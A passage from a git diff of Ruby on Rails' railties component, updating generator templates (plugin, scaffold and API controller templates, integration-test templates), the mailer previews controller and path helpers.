ActionController::#{api? ? "API" : "Base"} + #{ api? ? '# ' : '' }protect_from_forgery with: :exception end rb %> diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/jobs/%namespaced_name%/application_job.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/jobs/%namespaced_name%/application_job.rb.tt new file mode 100644 index 0000000000..bad1ff2d16 --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin/templates/app/jobs/%namespaced_name%/application_job.rb.tt @@ -0,0 +1,5 @@ +<%= wrap_in_modules <<-rb.strip_heredoc + class ApplicationJob < ActiveJob::Base + end +rb +%> diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/mailers/%namespaced_name%/application_mailer.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/mailers/%namespaced_name%/application_mailer.rb.tt new file mode 100644 index 0000000000..09aac13f42 --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin/templates/app/mailers/%namespaced_name%/application_mailer.rb.tt @@ -0,0 +1,7 @@ +<%= wrap_in_modules <<-rb.strip_heredoc + class ApplicationMailer < ActionMailer::Base + default from: 'from@example.com' + layout 'mailer' + end +rb +%> diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/models/%namespaced_name%/application_record.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/models/%namespaced_name%/application_record.rb.tt new file mode 100644 index 0000000000..8aa3de78f1 --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin/templates/app/models/%namespaced_name%/application_record.rb.tt @@ -0,0 +1,6 @@ +<%= wrap_in_modules <<-rb.strip_heredoc + class ApplicationRecord < ActiveRecord::Base + self.abstract_class = true + end +rb +%> diff --git a/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt index 3edaac35c9..56e7925c6b 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt +++ b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt @@ -1,4 +1,5 @@ -# This command will automatically be run when you run "rails" with Rails 4 gems installed from the root of your application. +# This command will automatically be run when you run "rails" with Rails gems +# installed from the root of your application. ENGINE_ROOT = File.expand_path('../..', __FILE__) ENGINE_PATH = File.expand_path('../../lib/<%= namespaced_name -%>/engine', __FILE__) diff --git a/railties/lib/rails/generators/rails/plugin/templates/bin/test.tt b/railties/lib/rails/generators/rails/plugin/templates/bin/test.tt new file mode 100644 index 0000000000..62b94618fd --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin/templates/bin/test.tt @@ -0,0 +1,8 @@ +$: << File.expand_path(File.expand_path('../../test', __FILE__)) + +require 'bundler/setup' +require 'rails/test_unit/minitest_plugin' + +Rails::TestUnitReporter.executable = 'bin/test' + +exit Minitest.run(ARGV) diff --git a/railties/lib/rails/generators/rails/plugin/templates/gitignore b/railties/lib/rails/generators/rails/plugin/templates/gitignore index d524fcbc4e..54c78d7927 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/gitignore +++ b/railties/lib/rails/generators/rails/plugin/templates/gitignore @@ -6,5 +6,4 @@ pkg/ <%= dummy_path %>/db/*.sqlite3-journal <%= dummy_path %>/log/*.log <%= dummy_path %>/tmp/ -<%= dummy_path %>/.sass-cache <% end -%> diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb index 17afd52177..8938770fc4 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb +++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb @@ -1,6 +1,7 @@ <%= wrap_in_modules <<-rb.strip_heredoc class Engine < ::Rails::Engine #{mountable? ? ' isolate_namespace ' + camelized_modules : ' '} + #{api? ? " config.generators.api_only = true" : ' '} end rb %> diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb index d257295988..b08f4ef9ae 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb +++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb @@ -1 +1 @@ -<%= wrap_in_modules 'VERSION = "0.0.1"' %> +<%= wrap_in_modules "VERSION = '0.1.0'" %> diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb index b1038c839e..d03b1be878 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb +++ b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb @@ -1,4 +1,4 @@ -require File.expand_path('../boot', __FILE__) +require_relative 'boot' <% if include_all_railties? -%> require 'rails/all' @@ -6,10 +6,12 @@ require 'rails/all' # Pick the frameworks you want: <%= comment_if :skip_active_record %>require "active_record/railtie" require "action_controller/railtie" -<%= comment_if :skip_action_mailer %>require "action_mailer/railtie" require "action_view/railtie" -<%= comment_if :skip_sprockets %>require "sprockets/railtie" +<%= comment_if :skip_action_mailer %>require "action_mailer/railtie" +require "active_job/railtie" +<%= comment_if :skip_action_cable %>require "action_cable/engine" <%= comment_if :skip_test %>require "rails/test_unit/railtie" +<%= comment_if :skip_sprockets %>require "sprockets/railtie" <% end -%> Bundler.require(*Rails.groups) diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb index 6266cfc509..c9aef85d40 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb +++ b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb @@ -1,5 +1,5 @@ # Set up gems listed in the Gemfile. -ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../../../Gemfile', __FILE__) +ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../../Gemfile', __dir__) require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE']) -$LOAD_PATH.unshift File.expand_path('../../../../lib', __FILE__) +$LOAD_PATH.unshift File.expand_path('../../../lib', __dir__) diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/dummy_manifest.js b/railties/lib/rails/generators/rails/plugin/templates/rails/dummy_manifest.js new file mode 100644 index 0000000000..8d21b2b6fb --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin/templates/rails/dummy_manifest.js @@ -0,0 +1,11 @@ + +<% unless api? -%> +//= link_tree ../images +<% end -%> +<% unless options.skip_javascript -%> +//= link_directory ../javascripts .js +<% end -%> +//= link_directory ../stylesheets .css +<% if mountable? && !api? -%> +//= link <%= underscored_name %>_manifest.js +<% end -%> diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/engine_manifest.js b/railties/lib/rails/generators/rails/plugin/templates/rails/engine_manifest.js new file mode 100644 index 0000000000..2f23844f5e --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin/templates/rails/engine_manifest.js @@ -0,0 +1,6 @@ +<% if mountable? -%> +<% if !options.skip_javascript -%> +//= link_directory ../javascripts/<%= namespaced_name %> .js +<% end -%> +//= link_directory ../stylesheets/<%= namespaced_name %> .css +<% end -%> diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js index 8913b40f69..e54c6461cc 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js +++ b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js @@ -5,7 +5,7 @@ // or any plugin's vendor/assets/javascripts directory can be referenced here using a relative path. // // It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the -// compiled file. +// compiled file. JavaScript code in this file should be added after the last require_* statement. // // Read Sprockets README (https://github.com/rails/sprockets#sprockets-directives) for details // about supported directives. diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb index 673de44108..694510edc0 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb +++ b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb @@ -1,4 +1,3 @@ Rails.application.routes.draw do - mount <%= camelized_modules %>::Engine => "/<%= name %>" end diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css index 0cdd2788d0..0ebd7fe829 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css +++ b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css @@ -7,7 +7,8 @@ * * You're free to add application-wide styles to this file and they'll appear at the bottom of the * compiled file so the styles you add here take precedence over styles defined in any other CSS/SCSS - * files in this directory. It is generally better to create a new file per style scope. + * files in this directory. Styles in this file should be added after the last require_* statement. + * It is generally better to create a new file per style scope. * *= require_tree . *= require_self diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb index 824caecb24..f5d1ec2046 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb +++ b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb @@ -1,10 +1,6 @@ require 'test_helper' class NavigationTest < ActionDispatch::IntegrationTest -<% unless options[:skip_active_record] -%> - fixtures :all -<% end -%> - # test "the truth" do # assert true # end diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb index 0852ffce9a..a5eebcb19f 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb +++ b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb @@ -1,7 +1,7 @@ # Configure Rails Environment ENV["RAILS_ENV"] = "test" -require File.expand_path("../../<%= options[:dummy_path] -%>/config/environment.rb", __FILE__) +require File.expand_path("../../<%= options[:dummy_path] -%>/config/environment.rb", __FILE__) <% unless options[:skip_active_record] -%> ActiveRecord::Migrator.migrations_paths = [File.expand_path("../../<%= options[:dummy_path] -%>/db/migrate", __FILE__)] <% if options[:mountable] -%> @@ -14,12 +14,14 @@ require "rails/test_help" # to be shown. Minitest.backtrace_filter = Minitest::BacktraceFilter.new -# Load support files -Dir["#{File.dirname(__FILE__)}/support/**/*.rb"].each { |f| require f } +<% unless engine? -%> +Rails::TestUnitReporter.executable = 'bin/test' +<% end -%> # Load fixtures from the engine if ActiveSupport::TestCase.respond_to?(:fixture_path=) ActiveSupport::TestCase.fixture_path = File.expand_path("../fixtures", __FILE__) - ActiveSupport::TestCase.file_fixture_path = ActiveSupport::TestCase.fixture_path + "files" + ActionDispatch::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path + ActiveSupport::TestCase.file_fixture_path = ActiveSupport::TestCase.fixture_path + "/files" ActiveSupport::TestCase.fixtures :all end diff --git a/railties/lib/rails/generators/rails/resource/resource_generator.rb b/railties/lib/rails/generators/rails/resource/resource_generator.rb index 8014feb75f..3acf21df13 100644 --- a/railties/lib/rails/generators/rails/resource/resource_generator.rb +++ b/railties/lib/rails/generators/rails/resource/resource_generator.rb @@ -1,6 +1,5 @@ require 'rails/generators/resource_helpers' require 'rails/generators/rails/model/model_generator' -require 'active_support/core_ext/object/blank' module Rails module Generators diff --git a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb index c986f95e67..42705107ae 100644 --- a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb +++ b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb @@ -1,7 +1,6 @@ module Rails module Generators class ResourceRouteGenerator < NamedBase # :nodoc: - # Properly nests namespaces passed into a generator # # $ rails generate resource admin/users/products diff --git a/railties/lib/rails/generators/rails/scaffold/USAGE b/railties/lib/rails/generators/rails/scaffold/USAGE index 1b2a944103..c9283eda87 100644 --- a/railties/lib/rails/generators/rails/scaffold/USAGE +++ b/railties/lib/rails/generators/rails/scaffold/USAGE @@ -16,7 +16,7 @@ Description: As a special case, specifying 'password:digest' will generate a password_digest field of string type, and configure your generated model, - controller, views, and test suite for use with ActiveModel + controller, views, and test suite for use with Active Model has_secure_password (assuming they are using Rails defaults). Timestamps are added by default, so you don't have to specify them by hand @@ -36,6 +36,6 @@ Description: Examples: `rails generate scaffold post` - `rails generate scaffold post title body:text published:boolean` + `rails generate scaffold post title:string body:text published:boolean` `rails generate scaffold purchase amount:decimal tracking_id:integer:uniq` `rails generate scaffold user email:uniq password:digest` diff --git a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb index e89789e72b..17c32bfdb3 100644 --- a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb +++ b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb @@ -10,10 +10,11 @@ module Rails class_option :stylesheet_engine, desc: "Engine for Stylesheets" class_option :assets, type: :boolean class_option :resource_route, type: :boolean + class_option :scaffold_stylesheet, type: :boolean def handle_skip @options = @options.merge(stylesheets: false) unless options[:assets] - @options = @options.merge(stylesheet_engine: false) unless options[:stylesheets] + @options = @options.merge(stylesheet_engine: false) unless options[:stylesheets] && options[:scaffold_stylesheet] end hook_for :scaffold_controller, required: true diff --git a/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css b/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css index 69af1e8307..79f8b7f96f 100644 --- a/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css +++ b/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css @@ -1,8 +1,11 @@ -body { background-color: #fff; color: #333; } +body { + background-color: #fff; + color: #333; +} body, p, ol, ul, td { font-family: verdana, arial, helvetica, sans-serif; - font-size: 13px; + font-size: 13px; line-height: 18px; margin: 33px; } @@ -13,9 +16,18 @@ pre { font-size: 11px; } -a { color: #000; } -a:visited { color: #666; } -a:hover { color: #fff; background-color:#000; } +a { + color: #000; +} + +a:visited { + color: #666; +} + +a:hover { + color: #fff; + background-color: #000; +} th { padding-bottom: 5px; @@ -27,7 +39,8 @@ td { padding-right: 5px; } -div.field, div.actions { +div.field, +div.actions { margin-bottom: 10px; } @@ -56,7 +69,7 @@ div.field, div.actions { padding: 5px 5px 5px 15px; font-size: 12px; margin: -7px; - margin-bottom: 0px; + margin-bottom: 0; background-color: #c00; color: #fff; } @@ -65,3 +78,7 @@ div.field, div.actions { font-size: 12px; list-style: square; } + +label { + display: block; +} diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb index c01b82884d..d0b8cad896 100644 --- a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb +++ b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb @@ -10,11 +10,14 @@ module Rails class_option :helper, type: :boolean class_option :orm, banner: "NAME", type: :string, required: true, desc: "ORM to generate the controller for" + class_option :api, type: :boolean, + desc: "Generates API controller" argument :attributes, type: :array, default: [], banner: "field:type field:type" def create_controller_files - template "controller.rb", File.join('app/controllers', controller_class_path, "#{controller_file_name}_controller.rb") + template_file = options.api? ? "api_controller.rb" : "controller.rb" + template template_file, File.join('app/controllers', controller_class_path, "#{controller_file_name}_controller.rb") end hook_for :template_engine, :test_framework, as: :scaffold diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb new file mode 100644 index 0000000000..400afec6dc --- /dev/null +++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb @@ -0,0 +1,61 @@ +<% if namespaced? -%> +require_dependency "<%= namespaced_path %>/application_controller" + +<% end -%> +<% module_namespacing do -%> +class <%= controller_class_name %>Controller < ApplicationController + before_action :set_<%= singular_table_name %>, only: [:show, :update, :destroy] + + # GET <%= route_url %> + def index + @<%= plural_table_name %> = <%= orm_class.all(class_name) %> + + render json: <%= "@#{plural_table_name}" %> + end + + # GET <%= route_url %>/1 + def show + render json: <%= "@#{singular_table_name}" %> + end + + # POST <%= route_url %> + def create + @<%= singular_table_name %> = <%= orm_class.build(class_name, "#{singular_table_name}_params") %> + + if @<%= orm_instance.save %> + render json: <%= "@#{singular_table_name}" %>, status: :created, location: <%= "@#{singular_table_name}" %> + else + render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity + end + end + + # PATCH/PUT <%= route_url %>/1 + def update + if @<%= orm_instance.update("#{singular_table_name}_params") %> + render json: <%= "@#{singular_table_name}" %> + else + render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity + end + end + + # DELETE <%= route_url %>/1 + def destroy + @<%= orm_instance.destroy %> + end + + private + # Use callbacks to share common setup or constraints between actions. + def set_<%= singular_table_name %> + @<%= singular_table_name %> = <%= orm_class.find(class_name, "params[:id]") %> + end + + # Only allow a trusted parameter "white list" through. + def <%= "#{singular_table_name}_params" %> + <%- if attributes_names.empty? -%> + params.fetch(:<%= singular_table_name %>, {}) + <%- else -%> + params.require(:<%= singular_table_name %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>) + <%- end -%> + end +end +<% end -%> diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb index 2c3b04043f..42b9e34274 100644 --- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb +++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb @@ -1,5 +1,5 @@ <% if namespaced? -%> -require_dependency "<%= namespaced_file_path %>/application_controller" +require_dependency "<%= namespaced_path %>/application_controller" <% end -%> <% module_namespacing do -%> @@ -59,7 +59,7 @@ class <%= controller_class_name %>Controller < ApplicationController # Only allow a trusted parameter "white list" through. def <%= "#{singular_table_name}_params" %> <%- if attributes_names.empty? -%> - params[:<%= singular_table_name %>] + params.fetch(:<%= singular_table_name %>, {}) <%- else -%> params.require(:<%= singular_table_name %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>) <%- end -%> diff --git a/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb index 509bd60564..ff41fef9e9 100644 --- a/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb +++ b/railties/lib/rails/generators/test_unit/controller/templates/functional_test.rb @@ -1,7 +1,11 @@ require 'test_helper' <% module_namespacing do -%> -class <%= class_name %>ControllerTest < ActionController::TestCase +class <%= class_name %>ControllerTest < ActionDispatch::IntegrationTest +<% if mountable_engine? -%> + include Engine.routes.url_helpers + +<% end -%> <% if actions.empty? -%> # test "the truth" do # assert true @@ -9,7 +13,7 @@ class <%= class_name %>ControllerTest < ActionController::TestCase <% else -%> <% actions.each do |action| -%> test "should get <%= action %>" do - get :<%= action %> + get <%= url_helper_prefix %>_<%= action %>_url assert_response :success end diff --git a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb index 343c8a3949..76a0b79654 100644 --- a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb +++ b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb @@ -19,7 +19,7 @@ module TestUnit # :nodoc: protected def file_name - @_file_name ||= super.gsub(/\_mailer/i, '') + @_file_name ||= super.gsub(/_mailer/i, '') end end end diff --git a/railties/lib/rails/generators/test_unit/model/model_generator.rb b/railties/lib/rails/generators/test_unit/model/model_generator.rb index 2826a3ffa1..086588750e 100644 --- a/railties/lib/rails/generators/test_unit/model/model_generator.rb +++ b/railties/lib/rails/generators/test_unit/model/model_generator.rb @@ -19,7 +19,7 @@ module TestUnit # :nodoc: def create_fixture_file if options[:fixture] && options[:fixture_replacement].nil? - template 'fixtures.yml', File.join('test/fixtures', class_path, "#{plural_file_name}.yml") + template 'fixtures.yml', File.join('test/fixtures', class_path, "#{fixture_file_name}.yml") end end diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml index 50ca61a35b..0681780c97 100644 --- a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml +++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml @@ -6,7 +6,7 @@ <%- if attribute.password_digest? -%> password_digest: <%%= BCrypt::Password.create('secret') %> <%- elsif attribute.reference? -%> - <%= yaml_key_value(attribute.column_name.sub(/_id$/, ''), attribute.default) %> + <%= yaml_key_value(attribute.column_name.sub(/_id$/, ''), attribute.default || name) %> <%- else -%> <%= yaml_key_value(attribute.column_name, attribute.default) %> <%- end -%> @@ -17,7 +17,7 @@ <% end -%> <% else -%> -# This model initially had no columns defined. If you add columns to the +# This model initially had no columns defined. If you add columns to the # model remove the '{}' from the fixture names and add the columns immediately # below each fixture, per the syntax in the comments below # @@ -25,5 +25,5 @@ one: {} # column: value # two: {} -# column: value +# column: value <% end -%> diff --git a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb index 2e1f55f2a6..0171da7cc7 100644 --- a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb +++ b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb @@ -8,13 +8,26 @@ module TestUnit # :nodoc: check_class_collision suffix: "ControllerTest" + class_option :api, type: :boolean, + desc: "Generates API functional tests" + argument :attributes, type: :array, default: [], banner: "field:type field:type" def create_test_files - template "functional_test.rb", + template_file = options.api? ? "api_functional_test.rb" : "functional_test.rb" + template template_file, File.join("test/controllers", controller_class_path, "#{controller_file_name}_controller_test.rb") end + def fixture_name + @fixture_name ||= + if mountable_engine? + "%s_%s" % [namespaced_path, table_name] + else + table_name + end + end + private def attributes_hash diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb new file mode 100644 index 0000000000..0d18478043 --- /dev/null +++ b/railties/lib/rails/generators/test_unit/scaffold/templates/api_functional_test.rb @@ -0,0 +1,44 @@ +require 'test_helper' + +<% module_namespacing do -%> +class <%= controller_class_name %>ControllerTest < ActionDispatch::IntegrationTest + <%- if mountable_engine? -%> + include Engine.routes.url_helpers + + <%- end -%> + setup do + @<%= singular_table_name %> = <%= fixture_name %>(:one) + end + + test "should get index" do + get <%= index_helper %>_url + assert_response :success + end + + test "should create <%= singular_table_name %>" do + assert_difference('<%= class_name %>.count') do + post <%= index_helper %>_url, params: { <%= "#{singular_table_name}: { #{attributes_hash} }" %> } + end + + assert_response 201 + end + + test "should show <%= singular_table_name %>" do + get <%= show_helper %> + assert_response :success + end + + test "should update <%= singular_table_name %>" do + patch <%= show_helper %>, params: { <%= "#{singular_table_name}: { #{attributes_hash} }" %> } + assert_response 200 + end + + test "should destroy <%= singular_table_name %>" do + assert_difference('<%= class_name %>.count', -1) do + delete <%= show_helper %> + end + + assert_response 204 + end +end +<% end -%> diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb index 8d825ae7b0..0e6bef12fc 100644 --- a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb +++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb @@ -1,48 +1,51 @@ require 'test_helper' <% module_namespacing do -%> -class <%= controller_class_name %>ControllerTest < ActionController::TestCase +class <%= controller_class_name %>ControllerTest < ActionDispatch::IntegrationTest + <%- if mountable_engine? -%> + include Engine.routes.url_helpers + + <%- end -%> setup do - @<%= singular_table_name %> = <%= table_name %>(:one) + @<%= singular_table_name %> = <%= fixture_name %>(:one) end test "should get index" do - get :index + get <%= index_helper %>_url assert_response :success - assert_not_nil assigns(:<%= table_name %>) end test "should get new" do - get :new + get <%= new_helper %> assert_response :success end test "should create <%= singular_table_name %>" do assert_difference('<%= class_name %>.count') do - post :create, params: { <%= "#{singular_table_name}: { #{attributes_hash} }" %> } + post <%= index_helper %>_url, params: { <%= "#{singular_table_name}: { #{attributes_hash} }" %> } end - assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>)) + assert_redirected_to <%= singular_table_name %>_path(<%= class_name %>.last) end test "should show <%= singular_table_name %>" do - get :show, params: { id: <%= "@#{singular_table_name}" %> } + get <%= show_helper %> assert_response :success end test "should get edit" do - get :edit, params: { id: <%= "@#{singular_table_name}" %> } + get <%= edit_helper %> assert_response :success end test "should update <%= singular_table_name %>" do - patch :update, params: { id: <%= "@#{singular_table_name}" %>, <%= "#{singular_table_name}: { #{attributes_hash} }" %> } - assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>)) + patch <%= show_helper %>, params: { <%= "#{singular_table_name}: { #{attributes_hash} }" %> } + assert_redirected_to <%= singular_table_name %>_path(<%= "@#{singular_table_name}" %>) end test "should destroy <%= singular_table_name %>" do assert_difference('<%= class_name %>.count', -1) do - delete :destroy, params: { id: <%= "@#{singular_table_name}" %> } + delete <%= show_helper %> end assert_redirected_to <%= index_helper %>_path diff --git a/railties/lib/rails/generators/testing/assertions.rb b/railties/lib/rails/generators/testing/assertions.rb index bd069e4bd0..76758df86d 100644 --- a/railties/lib/rails/generators/testing/assertions.rb +++ b/railties/lib/rails/generators/testing/assertions.rb @@ -1,5 +1,3 @@ -require 'shellwords' - module Rails module Generators module Testing @@ -23,7 +21,7 @@ module Rails # end # end def assert_file(relative, *contents) - absolute = File.expand_path(relative, destination_root).shellescape + absolute = File.expand_path(relative, destination_root) assert File.exist?(absolute), "Expected file #{relative.inspect} to exist, but does not" read = File.read(absolute) if block_given? || !contents.empty? diff --git a/railties/lib/rails/generators/testing/behaviour.rb b/railties/lib/rails/generators/testing/behaviour.rb index c9700e1cd7..94b5e52224 100644 --- a/railties/lib/rails/generators/testing/behaviour.rb +++ b/railties/lib/rails/generators/testing/behaviour.rb @@ -92,7 +92,8 @@ module Rails cd current_path end - def prepare_destination # :nodoc: + # Clears all files and directories in destination. + def prepare_destination rm_rf(destination_root) mkdir_p(destination_root) end diff --git a/railties/lib/rails/info_controller.rb b/railties/lib/rails/info_controller.rb index 6e61cc3cb5..778105c5f7 100644 --- a/railties/lib/rails/info_controller.rb +++ b/railties/lib/rails/info_controller.rb @@ -18,7 +18,7 @@ class Rails::InfoController < Rails::ApplicationController # :nodoc: def routes if path = params[:path] - path = URI.escape path + path = URI.parser.escape path normalized_path = with_leading_slash path render json: { exact: match_route {|it| it.match normalized_path }, diff --git a/railties/lib/rails/mailers_controller.rb b/railties/lib/rails/mailers_controller.rb index 32740d66da..6143cf2dd9 100644 --- a/railties/lib/rails/mailers_controller.rb +++ b/railties/lib/rails/mailers_controller.rb @@ -3,7 +3,7 @@ require 'rails/application_controller' class Rails::MailersController < Rails::ApplicationController # :nodoc: prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH - before_action :require_local! + before_action :require_local!, unless: :show_previews? before_action :find_preview, only: :preview def index @@ -16,31 +16,35 @@ class Rails::MailersController < Rails::ApplicationController # :nodoc: @page_title = "Mailer Previews for #{@preview.preview_name}" render action: 'mailer' else - email = File.basename(params[:path]) + @email_action = File.basename(params[:path]) - if @preview.email_exists?(email) - @email = @preview.call(email) + if @preview.email_exists?(@email_action) + @email = @preview.call(@email_action) if params[:part] part_type = Mime::Type.lookup(params[:part]) if part = find_part(part_type) response.content_type = part_type - render text: part.respond_to?(:decoded) ? part.decoded : part + render plain: part.respond_to?(:decoded) ? part.decoded : part else - raise AbstractController::ActionNotFound, "Email part '#{part_type}' not found in #{@preview.name}##{email}" + raise AbstractController::ActionNotFound, "Email part '#{part_type}' not found in #{@preview.name}##{@email_action}" end else - @part = find_preferred_part(request.format, Mime::HTML, Mime::TEXT) + @part = find_preferred_part(request.format, Mime[:html], Mime[:text]) render action: 'email', layout: false, formats: %w[html] end else - raise AbstractController::ActionNotFound, "Email '#{email}' not found in #{@preview.name}" + raise AbstractController::ActionNotFound, "Email '#{@email_action}' not found in #{@preview.name}" end end end protected + def show_previews? + ActionMailer::Base.show_previews + end + def find_preview candidates = [] params[:path].to_s.scan(%r{/|$}){ candidates << $` } @@ -54,18 +58,20 @@ class Rails::MailersController < Rails::ApplicationController # :nodoc: end def find_preferred_part(*formats) - if @email.multipart? - formats.each do |format| - return find_part(format) if @email.parts.any?{ |p| p.mime_type == format } + formats.each do |format| + if part = @email.find_first_mime_type(format) + return part end - else + end + + if formats.any?{ |f| @email.mime_type == f } @email end end def find_part(format) - if @email.multipart? - @email.parts.find{ |p| p.mime_type == format } + if part = @email.find_first_mime_type(format) + part elsif @email.mime_type == format @email end diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb index ebcaaaba46..e47616a87f 100644 --- a/railties/lib/rails/paths.rb +++ b/railties/lib/rails/paths.rb @@ -123,6 +123,10 @@ module Rails options[:load_path] ? load_path! : skip_load_path! end + def absolute_current # :nodoc: + File.expand_path(@current, @root.path) + end + def children keys = @root.keys.find_all { |k| k.start_with?(@current) && k != @current @@ -175,6 +179,10 @@ module Rails @paths end + def extensions # :nodoc: + $1.split(',') if @glob =~ /\{([\S]+)\}/ + end + # Expands all paths against the root and return all unique values. def expanded raise "You need to set a path root" unless @root.path diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb index 9962e6d943..b63d3a58d2 100644 --- a/railties/lib/rails/rack/logger.rb +++ b/railties/lib/rails/rack/logger.rb @@ -7,6 +7,10 @@ require 'rack/body_proxy' module Rails module Rack # Sets log 